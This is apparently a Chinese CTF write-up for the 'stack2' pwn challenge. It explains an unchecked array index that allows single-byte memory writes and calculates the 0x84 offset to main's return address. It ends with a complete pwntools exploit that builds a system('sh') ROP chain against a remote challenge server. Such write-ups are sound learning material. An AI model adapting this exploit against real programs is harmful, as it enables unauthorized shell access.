本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个，如果有说错的地方请师傅们多多包涵
0x00 前置知识
本题关键汇编指令:mov指令和lea指令以及ret指令
mov
mov指令的功能是传送数据，它可以把一个操作数的值复制到另一个操作数中。例如:
mov eax, [ebp-18h]，作用是将ebp-18h作为偏移地址,寻址找到内存单元，将该内存单元中的数据送至eax，类似于C语言中的eax=*(ebp-18h)；
mov [ebp-1ch],eax，作用是将eax中的数据送至ebp-1ch作为偏移地址所指向的内存单元 。类似于C语言中的*(ebp-1ch)=eax
lea
lea指令的功能是计算有效地址，它可以把一个内存地址的值存入一个寄存器中。例如：
lea eax, [ebp-18h]，作用是将ebp-18h作为一个地址（而不是一个值），存入eax寄存器中。类似于C语言中的eax=ebp-18h；lea [ebp-1ch],eax，作用是将eax寄存器中的值（假设为12345678h）存入ebp-1ch作为偏移地址所指向的内存单元。类似于C语言中的*(ebp-1ch)=*eax。(这个用法和本题没啥关系,只是提一嘴)
ret
这个应该都很熟悉了。ret指令的功能是从子程序返回，它可以把栈顶的值弹出并作为返回地址，跳转到调用子程序的地方。
0x01 漏洞代码
在选择change number后程序未对输入的数字进行审查,导致可以直接修改超出数字范围的内存数据，这样我们只要知道内存某个地方相对于数组的偏移,就能修改那个地方的内容
后门函数,经过师傅们的测试发现这个函数在远程运行时会提示没有bash,但是利用system函数和字符串sh执行system("sh")同样能达到我们的目的
0x02 解题思路及步骤
既然可以直接修改任意内存的数据,那么直接将main函数的返回地址修改为调用system("sh")的ROP链,然后在菜单中选择5.exit退出main函数，就可以将执行流转到system("sh")了。
2.1 求偏移量
想要修改内存数据，首先要知道偏移量
在ida中可以看出来数组相对于ebp的偏移量是70h，那返回地址相对于数组的偏移量就是74h。
那就错了!!!，并不是所有函数的ebp都挨着返回地址，有时候会做一些调整。所以我们就需要知道main函数的返回的地址以及数组在内存中位置。这时候接下来我们就来通过动态分析求这两个值。
2.1.1确定数组在内存中的位置：
我们知道，这个数组是存在内存当中的，当我们向数组中存入第一个数字时，数字所在的位置就是数组首地址的位置(即&arr[0]==arr)。现在来读一下我们输入的第一个数字存入数组时的汇编代码[1]:
mov eax, [ebp-88h]表示将ebp-88h处的内存值，也就是我们输入的值，假设为1h，传送到eax寄存器中，此时eax=1h
mov ecx, eax表示将eax寄存器中的值（1h）传送到ecx寄存器中，此时ecx=1h
lea edx, [ebp-70h]表示将ebp-70h作为一个地址传送到edx寄存器中，此时假设ebp=00100000h，则edx=000FF890h即数组基地址
mov eax, [ebp-7Ch]表示将ebp-7Ch处的内存值，也就是记录循环次数的i，第一次循环i为0，传送到eax寄存器中，此时eax=0
add eax, edx表示将edx寄存器中的值（000FF890h）加到eax寄存器中的值（0），这一步相当于找到arr[0]的位置，此时eax=000FF890h
mov [eax], cl表示将ecx寄存器中的最低8位（即cl，值为01h）传送到内存地址为eax=000FF890h的单元中
在执行完这段代码后我们可以知道两件事：eax存放的值就是数组的地址；地址的最低八位的值就是我们输入的值
在执行add eax,edx后eax的值:
执行mov [eax],cl之前0xffffcf88的值:0xf7fc17c0
执行mov [eax],cl之前0xffffcf88的值:0xf7fc1701
由此可以确定，0xffffcf88就是数组在内存中的位置
2.1.2 确定main函数的返回地址
这个就简单的多了,当我们执行到ret指令的时候,esp指向的地方就是main函数的返回地址
在程序最后打断点,查看esp的值:
esp此时的值是0xffffd00c，也就是main函数的返回地址
至此,我们就求出了偏移量0xffffd00c-0xffffcf88=0x84
2.2 构造ROP链
首先找到system函数和sh的地址，分别是0x08048450和0x08048987
在常规栈溢出中,我们的payload构成应该是
offset + system_addr + 0xdeadbeef + sh_addr
但是在这题中我们能直接修改内存内容,因此只要把system_addr和sh_addr填到栈上的相应位置即可。注意：由于每次我们只能修改1字节，所以要分成多次将ROP链的内容填到栈上
0x03 完整exp
菜鸡仿照别的师傅写的
from pwn import *
#io = process("./stack2")
io = remote("61.147.171.105",55215)
context(log_level='debug')
def change (index,number):
io.recvuntil("exit\n")
io.sendline(str(3))
io.recvuntil(b"which number to change:\n")
io.sendline(str(index))
io.recvuntil("new number:\n")
io.sendline(str(number))
io.recvuntil("How many numbers you have:\n")
io.sendline(str(1))
io.recvuntil("Give me your numbers\n")
io.sendline(str(1))
change(0x84,0x50)
change(0x85,0x84)
change(0x86,0x04)
change(0x87,0x08)
change(0x8c,0x87)
change(0x8d,0x89)
change(0x8e,0x04)
change(0x8f,0x08)
io.recvuntil(b"exit\n")
io.sendline(str(5))
io.interactive()
小声bb:在使用recvuntil接收字符串的时候最好确认一下字符串有没有打错,不然就会exp运行时会卡住。没错我就是那个笨比
ebp+var_x的意思是ebp偏移为x的位置,在ida中选中var_x再按下H就可以将其转化为ebp-xh的形式 ↩︎